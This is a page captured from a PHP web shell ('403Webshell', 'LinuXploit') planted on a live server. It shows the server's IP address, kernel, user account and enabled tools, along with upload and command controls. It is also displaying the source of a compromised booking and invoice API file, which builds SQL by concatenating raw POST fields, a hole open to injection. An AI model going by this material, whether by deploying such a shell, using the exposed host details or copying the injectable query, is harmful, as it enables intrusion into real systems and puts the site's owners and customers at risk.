403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/clients/client1/seaside.pacim.de/web/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/clients/client1/seaside.pacim.de/web//app_request.php
<?php
header('Access-Control-Allow-Origin: *');



//echo "<pre>";
//print_r($_POST);
//echo "</pre>";

//die();
$invoiceID = false;


require_once("includes/config.inc.php");

// Zugriffsschutz: nur eingeloggte PaCIM-Nutzer ODER interne Server-Aufrufe (Token).
if ( !( isset( $_SESSION['user'] ) && $_SESSION['user'] == LOGIN_USER )
     && !( isset( $_POST['token'] ) && $_POST['token'] === INTERNAL_TOKEN ) ) {
    http_response_code( 403 );
    header( 'Content-Type: application/json; charset=utf-8' );
    echo json_encode( array( 'error' => 'unauthorized' ) );
    exit();
}

// Vermittler/Reisebüros haben hier keinen Zugriff (nur Admin-/interne Aufrufe).
if ( function_exists( 'is_broker' ) && is_broker() ) {
    http_response_code( 403 );
    header( 'Content-Type: application/json; charset=utf-8' );
    echo json_encode( array( 'error' => 'forbidden' ) );
    exit();
}


global $oData;
global $oInvoice;


if( isset( $_POST['module'] ) ) {

    $sModule = $_POST['module'];
    unset($_POST['module']);
    
    if(isset($_POST['where']) && isset($_POST['value']) && $_POST['value'] != "false" && $_POST['where'] != "false" && $sModule == "invoices") {
        //$oData::db->where($_POST['where'], $_POST['value']);
        $oData->whereParameters['invoices'][] = $_POST['where'] . " = '" . $_POST['value'] . "'";
    }

    switch( $sModule ) {
        case "invoices":
            $invoiceID = isset($_POST['value']) && is_numeric($_POST['value']) ? $_POST['value'] : false;
            $return = array('timestamp' => date('Y-m-d H:i:s'), 'datas' => $oData->dataset( $invoiceID ));
            break;
        
        case "favorites":
            $return = array('timestamp' => date('Y-m-d H:i:s'), 'datas' => $oData->dataset( FALSE, FALSE, $_POST['value'] ));
            break;
        
        case "setPayment":
            
             $_POST['pacim_invoice'] = array(
                    'invoice_payment' => $_POST['value'],
                    'invoice_paydate' => date('Y-m-d H:i:s'),
                    'invoice_price' => $_POST['payed'],
                    'invoice_payment_description' => $_POST['notice']
             );
             
             // Rabatt merken, falls gewählt
            $_POST[ 'pacim_invoice' ][ 'invoice_coupon' ] = ( !empty( $_POST[ 'coupon' ] ) ? $_POST[ 'coupon' ] : null );
             
            $oInvoice->update($_POST['where']);
            
            // Buchungsliste upgraden
            importBookings( TRUE );
            
            $return = json_encode($_POST);
            break;
        
        case "changeSerial":
            $oCar = new car();
            $return = $oCar->changeSerial($_POST['where'], $_POST['value']);
            
            // Buchungsliste upgraden
            importBookings( TRUE );
            
            break;
        
        case "checkin":
            $oCar = new car();
            $return = $oCar->checkin( $_POST['value'] );

            // Buchungsliste upgraden
            importBookings( TRUE );

            break;

        case "checkout":
            $oCar = new car();
            $return = $oCar->checkout( $_POST['value'] );

            // Buchungsliste upgraden
            importBookings( TRUE );

            break;
        
        case "events":
            if(isset($_POST['date'])) $return = $oData->events(false, $_POST['date']);
            else $return = $oData->events();
            break;
        
        case "dayStats":
            $oReports = new reports();
            $return = $oReports->dayReport( isset( $_POST['date'] ) ? $_POST['date'] : FALSE );
            break;
        
        case "sendDocuments":
            $oDocuments = new documents( $_POST['date'] );
            
            switch( $_POST['document'] ) {
                case 'customer-cards':
                    require_once( dirname(__DIR__) . "/web/includes/classes/pdf.dotted.class.php" );
                    $return = $oDocuments->createDocuments( 6, $_POST['receivers'] );
                    break;
                case 'key-cards':
                    require_once( dirname(__DIR__) . "/web/includes/classes/pdf.dotted.class.php" );
                    $return = $_POST;
                    break;
                case 'list':
                    $return = $oDocuments->createList();
                    break;
                case 'cash':
                    $return = $oDocuments->createDocuments( 7, $_POST['receivers'] );
                    break;
                default:
                    break;
            }
            break;
        
        case "products":
            $oProduct = new product();
            $return = $oProduct->getProducts( $_POST['invoice_id'] );
            break;
        
        case "cancelInvoice":
            $_GET['cancel_token'] = md5( $_POST['invoice_no'] );
            $return = $oInvoice->cancelInvoice( $_POST['invoice_id'] );
            
            // Buchungsliste upgraden
            importBookings( TRUE );
            
            break;
        
        case "getInvoicePosition":
            $return = $oInvoice->getInvoiceProduct( $_POST['invoice_pos_id'] );
            break;
        
        case "editInvoicePosition":
            $return = $oInvoice->editInvoiceProduct( $_POST['invoice_pos_id'], array( 'invoice_pos_price' => $_POST['invoice_pos_price'], 'invoice_pos_description' => $_POST['invoice_pos_description'] ));
            
            // Buchungsliste upgraden
            importBookings( TRUE );
            
            break;
        
        case "addInvoicePosition":
            $return = $oInvoice->addInvoiceProducts($_POST['invoice_id'], $_POST['products']);
            
            // Buchungsliste upgraden
            importBookings( TRUE );
            
            break;
        
        case "deleteInvoicePosition":
            $return = $oInvoice->deleteInvoiceProduct( $_POST['invoice_pos_id'] );
            
            // Buchungsliste upgraden
            importBookings( TRUE );
            
            break;
        
        case "favorite":
            $return = $oData->save_favorite( $_POST['value'] );
            break;
        
        case "import":
            
            
            if( is_file( PATH_STORAGE ) && isset( $_POST['filehash'] ) ) {
                
                // Cache
                $arr_import = json_decode( file( PATH_STORAGE )[1] );
                $json_hash = md5( json_encode( $arr_import ) );
                
                if($_POST['filehash'] != $json_hash) {
                    $arr_import = importBookings();
                    $json_hash = md5( json_encode( $arr_import ) );
                }
                
                
            } else {
                
                $arr_import = importBookings();
                $json_hash = md5( json_encode( $arr_import ) );
            }

            $return = array(
                'timestamp' => date('Y-m-d H:i:s'),
                'dataset'   => ( isset($_POST['filehash'] ) && $_POST['filehash'] == $json_hash ? false : $arr_import ),
                'events' => ( isset($_POST['filehash'] ) && $_POST['filehash'] == $json_hash ? false : json_decode( file( PATH_STORAGE )[2] ) ),
                'file_hash' => $json_hash
            );
            
            break;
        
        default:
            $return = array();
            break;
    }
    
} else {
    $return = array();
}

//print_r($return);
echo json_encode( json_decode( json_encode( $return ), TRUE ) );

//echo $invoiceID;


/*echo "<pre>";
print_r($_POST);
echo "</pre>";

echo "<pre>";
print_r(array($sModule, $invoiceID));
echo "</pre>";*/




Youez - 2016 - github.com/yon3zu
LinuXploit